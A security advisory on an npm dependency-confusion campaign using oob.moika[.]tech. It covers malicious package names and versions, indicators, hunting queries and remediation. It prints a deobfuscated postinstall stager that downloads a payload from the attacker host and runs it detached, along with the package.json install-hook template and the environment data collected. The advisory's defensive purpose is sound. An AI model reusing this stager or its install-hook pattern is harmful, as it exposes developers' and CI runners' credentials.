critical

CVE

Not assigned

CWE

CWE-426, CWE-506, CWE-200

Affected Surface

At least 179 malicious npm package-version records tied to oob.moika.tech, @cloudplatform-single-spa packages published as 99.99.99 and overlapping 100.100.100 packages, @mlspace packages published as 99.99.99, @car-loans packages published as 99.99.99, @fb-deposit packages published as 99.99.99, @debit-ib packages published as 99.99.99, @t-in-one packages published as 5.7.1, @capibar.chat/ui-kit 99.0.7 and 99.5.7, @sber-ecom-core/sberpay-widget 99.0.7, 99.5.7, and 99.5.8, @wb-track/shared-front 3.5.22, @data-science/llm 3.5.22, @ce-rwb/ce-tools-editor-* 3.5.22, @payments-widget/payments-widget-sdk 3.5.22, @travel-autotests/npm-proto 3.5.22

The oob.moika[.]tech campaign is the larger dependency-confusion story behind several late-May npm alerts. Public sources count it differently because they observed different slices of the same activity:

  • Microsoft described a 33-package cluster from 26 mr.4nd3r50n packages plus 7 ce-rwb packages, then documented a later 12-package t-in-one expansion. That gives 45 package names in the Microsoft article’s visible inventory.
  • SafeDep tracked a broader set of at least 179 malicious npm package-version records tied to oob.moika[.]tech, including earlier 99.99.99 waves, pre-staged package versions, and scopes not present in Microsoft’s narrower list.

The conservative wording is: public reporting tied at least 179 malicious npm package-version records to the oob.moika[.]tech dependency-confusion campaign. That is a minimum public inventory, not a complete guarantee of unique package names.

Attack model

The campaign abused the classic dependency-confusion failure mode: a package manager resolves an internal-looking package name from the public npm registry because the scope is not locked to a private registry or because public resolution wins with a higher version.

The attacker’s template made public packages look like internal software:

{
  "name": "@cloudplatform-single-spa/svp-baas",
  "version": "100.100.100",
  "author": "Cloudplatform-Single-Spa Platform Engineering",
  "repository": "git+https://github.cloudplatform-single-spa.io/platform/svp-baas.git",
  "homepage": "https://docs.cloudplatform-single-spa.io/platform/svp-baas",
  "bugs": "https://jira.cloudplatform-single-spa.io/projects/PLATFORM",
  "scripts": {
    "build": "tsc --noEmit || true",
    "test": "node test/index.test.js",
    "postinstall": "node scripts/postinstall.js"
  }
}

The security boundary is postinstall. If a developer or CI runner executes npm install, npm runs the attacker-controlled script before application code ever imports the package:

npm install
  -> package.json postinstall
  -> scripts/postinstall.js
  -> environment and project profiling
  -> HTTPS GET to oob.moika[.]tech/payload/{mac|win|linux}
  -> dropped temp JavaScript payload
  -> detached background process

That makes this a build-time compromise path. Static application scanning, API testing, and production route coverage do not see the moment of execution unless they also monitor dependency installation.

Stager behavior

The reported postinstall.js stagers used obfuscator.io-style control-flow and string-array techniques. After deobfuscation, the shape is straightforward:

const os = require("os");
const fs = require("fs");
const path = require("path");
const child_process = require("child_process");

const platform = os.platform() === "darwin" ? "mac" : os.platform() === "win32" ? "win" : "linux";
const payloadUrl = `https://oob.moika[.]tech/payload/${platform}`;
const out = path.join(os.tmpdir(), "._cloudplatform-single-spa_init.js");

// Public reports describe this as obfuscated code; this is the resulting control flow.
download(payloadUrl, out);
child_process.spawn(process.execPath, [out], {
  detached: true,
  stdio: "ignore",
  env: {
    ...process.env,
    CLOUDPLATFORM_SINGLE_SPA_RECON_ONLY: "1",
    CLOUDPLATFORM_SINGLE_SPA_PKG: process.env.npm_package_name,
    CLOUDPLATFORM_SINGLE_SPA_VER: process.env.npm_package_version,
    CLOUDPLATFORM_SINGLE_SPA_SECRET: "l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1"
  }
}).unref();

The campaign-wide indicators reported across sources include:

C2/report:          hxxps://oob.moika[.]tech/report
Payload endpoint:   hxxps://oob.moika[.]tech/payload/{mac|win|linux}.js
Shared X-Secret:    l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1
Temp file examples: ._cloudplatform-single-spa_init.js, ._t-in-one_init.js
Run-once marker:    ~/.cache/._t-in-one_init/
Kill switch:        T_IN_ONE_NO_TELEMETRY
Lure domains:       npm.t-in-one[.]io, docs.t-in-one[.]io, jira.t-in-one[.]io

Microsoft’s write-up described the current mode as reconnaissance-first. That should not be read as benign. Recon payloads routinely collect the exact material needed for a second phase: hostnames, usernames, project roots, environment variables, package names, package versions, and whether the process is running in CI.

process.env
os.hostname()
os.userInfo()
process.cwd()
INIT_CWD
npm_package_name
npm_package_version
CI
package.json / yarn.lock / .git project root signals

Environment variables on developer machines and CI runners commonly contain AWS keys, npm tokens, GitHub tokens, Vault tokens, database URLs, and deployment credentials. A “profile developer environments” campaign is therefore a credential-exposure campaign if the payload receives process.env.

Affected package inventory

The inventory below is grouped by public reporting source and scope. Because some sources count package-version rows and others count unique package names, use the grouped package lists for hunting instead of relying on one headline number.

mr.4nd3r50n packages under @cloudplatform-single-spa

SafeDep reported the following names at 99.99.99; Microsoft reported a 26-name overlapping subset at 100.100.100.

@cloudplatform-single-spa/logaas
@cloudplatform-single-spa/paas-kafka
@cloudplatform-single-spa/postgre
@cloudplatform-single-spa/search
@cloudplatform-single-spa/svp-lbaas
@cloudplatform-single-spa/ml-ai-agents-mcp-server
@cloudplatform-single-spa/key-manager
@cloudplatform-single-spa/ml-inference-comfy-run
@cloudplatform-single-spa/evocs
@cloudplatform-single-spa/marketplace-apps
@cloudplatform-single-spa/anti-ddos
@cloudplatform-single-spa/billing
@cloudplatform-single-spa/dataplatform-cloudberry
@cloudplatform-single-spa/certificate-manager
@cloudplatform-single-spa/cloudia
@cloudplatform-single-spa/dataplatform-clusters
@cloudplatform-single-spa/installations
@cloudplatform-single-spa/ml-ai-agents-ide
@cloudplatform-single-spa/magic-router
@cloudplatform-single-spa/svp-tasks
@cloudplatform-single-spa/svp-pipeline
@cloudplatform-single-spa/audit-log
@cloudplatform-single-spa/advanced
@cloudplatform-single-spa/container-registry
@cloudplatform-single-spa/datagrid
@cloudplatform-single-spa/dataplatform
@cloudplatform-single-spa/paas-redis
@cloudplatform-single-spa/rabbitmq
@cloudplatform-single-spa/smk
@cloudplatform-single-spa/svp-agent-backup
@cloudplatform-single-spa/svp-draas
@cloudplatform-single-spa/svp-bare-metal-servers
@cloudplatform-single-spa/mlspace-access-request
@cloudplatform-single-spa/svp-baas
@cloudplatform-single-spa/ml-rag
@cloudplatform-single-spa/bare-metal-servers
@cloudplatform-single-spa/corax
@cloudplatform-single-spa/ml-ai-agents-system-prompt
@cloudplatform-single-spa/managed-identities
@cloudplatform-single-spa/dataplatform-trino
@cloudplatform-single-spa/ml-finetuning
@cloudplatform-single-spa/ml-foundation-models
@cloudplatform-single-spa/ml-inference
@cloudplatform-single-spa/edge-manager
@cloudplatform-single-spa/enterprise
@cloudplatform-single-spa/event-bus
@cloudplatform-single-spa/dataplatform-bi
@cloudplatform-single-spa/vpc
@cloudplatform-single-spa/vcenter-manager
@cloudplatform-single-spa/vcenter-virtual-machines
@cloudplatform-single-spa/vdi
@cloudplatform-single-spa/timescale-db
@cloudplatform-single-spa/vpn
@cloudplatform-single-spa/employees
@cloudplatform-single-spa/cp-api-gw
@cloudplatform-single-spa/evolution
@cloudplatform-single-spa/dataplatform-connections
@cloudplatform-single-spa/security-groups
@cloudplatform-single-spa/self-service
@cloudplatform-single-spa/notification-gateway
@cloudplatform-single-spa/resource-manager
@cloudplatform-single-spa/solutions
@cloudplatform-single-spa/static-page
@cloudplatform-single-spa/svp-images
@cloudplatform-single-spa/svp-managed-kubernetes
@cloudplatform-single-spa/svp-s3-storage
@cloudplatform-single-spa/monaas-ui
@cloudplatform-single-spa/vmmanager
@cloudplatform-single-spa/agreements
@cloudplatform-single-spa/dataplatform-flink
@cloudplatform-single-spa/dataplatform-metastore
@cloudplatform-single-spa/dataplatform-nessie
@cloudplatform-single-spa/dns
@cloudplatform-single-spa/document-db
@cloudplatform-single-spa/business-solutions
@cloudplatform-single-spa/onboarding
@cloudplatform-single-spa/redirect
@cloudplatform-single-spa/opensearch
@cloudplatform-single-spa/marketplace-main
@cloudplatform-single-spa/ml-ai-agents-agent-system
@cloudplatform-single-spa/ml-ai-agents-marketplace
@cloudplatform-single-spa/ml-inference-router
@cloudplatform-single-spa/svp-anti-affinity
@cloudplatform-single-spa/virtual-machines
@cloudplatform-single-spa/vmware-draas
@cloudplatform-single-spa/support
@cloudplatform-single-spa/svp-vm-migration
@cloudplatform-single-spa/svp-gitaas
@cloudplatform-single-spa/clickhouse
@cloudplatform-single-spa/cloud-dns
@cloudplatform-single-spa/observability
@cloudplatform-single-spa/pangolin
@cloudplatform-single-spa/dataplatform-spark
@cloudplatform-single-spa/disks
@cloudplatform-single-spa/ml-ai-agents-trigger
@cloudplatform-single-spa/arenadata-db
@cloudplatform-single-spa/administration
@cloudplatform-single-spa/svp-tags
@cloudplatform-single-spa/svp-vdi
@cloudplatform-single-spa/serverless-containers
@cloudplatform-single-spa/ml-inference-docker-run
@cloudplatform-single-spa/ml-inference-model-run
@cloudplatform-single-spa/marketplace-gigachat
@cloudplatform-single-spa/virtual-ip
@cloudplatform-single-spa/monitoring
@cloudplatform-single-spa/aifactory-notebooks
@cloudplatform-single-spa/airflow
@cloudplatform-single-spa/floating-ips
@cloudplatform-single-spa/iam
@cloudplatform-single-spa/cnapp-ui
@cloudplatform-single-spa/ml-ai-agents-evo-claw
@cloudplatform-single-spa/base-static-page
@cloudplatform-single-spa/magic-bridge
@cloudplatform-single-spa/ml-ai-agents-agent
@cloudplatform-single-spa/profile
@cloudplatform-single-spa/secret-manager
@cloudplatform-single-spa/svp-gateways
@cloudplatform-single-spa/ssh-keys
@cloudplatform-single-spa/svp-interfaces
@cloudplatform-single-spa/subnets
@cloudplatform-single-spa/ml-inference-marketplace
@cloudplatform-single-spa/vpc-endpoint

Microsoft’s 100.100.100 subset was:

svp-baas, enterprise, vpn, monitoring, dataplatform-trino, marketplace-gigachat,
support, svp-s3-storage, ml-ai-agents-agent, ssh-keys, security-groups, employees,
cp-api-gw, base-static-page, administration, ml-ai-agents-agent-system,
arenadata-db, business-solutions, dataplatform-metastore, cloud-dns,
dataplatform, datagrid, floating-ips, cnapp-ui, svp-interfaces, logaas

mr.4nd3r50n packages under @mlspace

SafeDep reported these at 99.99.99:

@mlspace/model-registry
@mlspace/shared-storage
@mlspace/experiments-monitoring
@mlspace/model-monitoring
@mlspace/profile
@mlspace/dtransfer
@mlspace/dtransfer-history
@mlspace/env-jobs
@mlspace/env-jupyter-server
@mlspace/file-manager
@mlspace/inference-deploy
@mlspace/docker-registry
@mlspace/env-gitlab
@mlspace/connectors
@mlspace/inference-build
@mlspace/experiments
@mlspace/allocations

pik-libs packages

SafeDep tied the pik-libs account to finance-themed scopes at 99.99.99.

@car-loans/applicaion-aff
@car-loans/application-aff
@car-loans/close-flow-module
@car-loans/deal-aff
@car-loans/deal
@car-loans/desktop-car-loans-application
@car-loans/feature-toggles-module
@car-loans/general-analytics
@car-loans/general-feature-toggles
@car-loans/gus
@car-loans/mobile-car-loans-application
@car-loans/online-scoring-aff
@car-loans/online-sign-aff
@car-loans/referrer-module
@car-loans/restore
@car-loans/safe-storage-module
@car-loans/save
@car-loans/show-car-year-module
@car-loans/wait-task-props
@fb-deposit/form-deposit-auth
@fb-deposit/form-deposit-calc
@fb-deposit/form-deposit
@fb-deposit/form-savings-account
@debit-ib/desktop-debit-ib-additional-card-form
@debit-ib/mobile-debit-ib-additional-card-form

t-in-one wave

Microsoft and SafeDep both tied the May 29 wave to the same C2 and shared X-Secret value. Public reporting lists the following @t-in-one packages at 5.7.1:

@t-in-one/add_application
@t-in-one/add_app_middleware_token
@t-in-one/get_application_hid
@t-in-one/form_product_token
@t-in-one/application_id_storage_key_token
@t-in-one/only_difference_payload
@t-in-one/prefill_credit_data_token
@t-in-one/prefill_bundle_data_token
@t-in-one/add_application_tid
@t-in-one/add_application_service_token
@t-in-one/prefill_transformers_data_token
@t-in-one/restore_application_hid_from_storage
@t-in-one/safe_local_storage_token
@t-in-one/save_application_hid_to_storage
@t-in-one/send_add_application

Related staged or republished package versions:

@capibar.chat/ui-kit@99.0.7
@capibar.chat/ui-kit@99.5.7
@sber-ecom-core/sberpay-widget@99.0.7
@sber-ecom-core/sberpay-widget@99.5.7
@sber-ecom-core/sberpay-widget@99.5.8

Microsoft ce-rwb cluster

Microsoft reported these packages at 3.5.22:

@wb-track/shared-front
@data-science/llm
@ce-rwb/ce-tools-editor-admin
@ce-rwb/ce-tools-editor-render
@ce-rwb/ce-tools-editor-core
@payments-widget/payments-widget-sdk
@travel-autotests/npm-proto

Hunting guidance

Search lockfiles and build logs for the scopes first:

rg "@cloudplatform-single-spa|@mlspace|@car-loans|@fb-deposit|@debit-ib|@t-in-one|@capibar.chat|@sber-ecom-core|@wb-track|@data-science|@ce-rwb|@payments-widget|@travel-autotests" package-lock.json yarn.lock pnpm-lock.yaml

Search process telemetry for npm lifecycle execution:

DeviceProcessEvents
| where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("postinstall", "scripts/postinstall.js", "npm install", "npm ci")
| where ProcessCommandLine has_any ("@cloudplatform-single-spa", "@mlspace", "@car-loans", "@fb-deposit", "@debit-ib", "@t-in-one", "@capibar.chat", "@sber-ecom-core", "@ce-rwb")

Search endpoint and proxy telemetry for the common infrastructure:

oob.moika[.]tech
oob.moika[.]tech/report
oob.moika[.]tech/payload
X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1
npm.t-in-one[.]io
docs.t-in-one[.]io
jira.t-in-one[.]io

Search filesystems for dropped payload names and run-once markers:

rg "\\._(cloudplatform-single-spa|t-in-one)_init" /tmp ~/.cache

If you find evidence of execution, assume environment variables were exposed. Rotate credentials from a separate trusted host, not from the possibly compromised workstation or runner.

Remediation

Dependency confusion is primarily a resolution-policy failure. The durable fix is to fail closed when an internal scope cannot resolve from the private registry.

For npm, scope-lock internal namespaces:

@cloudplatform-single-spa:registry=https://npm.internal.example/
@mlspace:registry=https://npm.internal.example/
@car-loans:registry=https://npm.internal.example/
@fb-deposit:registry=https://npm.internal.example/
@debit-ib:registry=https://npm.internal.example/
@t-in-one:registry=https://npm.internal.example/
@capibar.chat:registry=https://npm.internal.example/
@sber-ecom-core:registry=https://npm.internal.example/
always-auth=true
ignore-scripts=true

For CI, prefer lockfile-enforced installs:

npm ci --ignore-scripts

Then explicitly allow lifecycle scripts only for packages that have a reviewed build-time need. That shifts postinstall execution from an ambient default to an exception.

Immediate response steps:

  • audit lockfiles, package caches, CI logs, and artifact provenance for affected scopes and versions
  • rotate npm publish tokens, cloud credentials, Vault tokens, GitHub tokens, and CI/CD secrets exposed to affected machines
  • block oob.moika[.]tech and associated lure domains
  • register or reserve internal package scopes on the public registry where appropriate
  • configure private registry proxies to fail closed instead of falling back to public npm for internal scopes
  • rebuild impacted runners and developer environments from trusted images

The important pattern is that package resolution and package installation are part of the application attack surface. A private package name in package.json is not private unless the package manager is configured to make it private.

References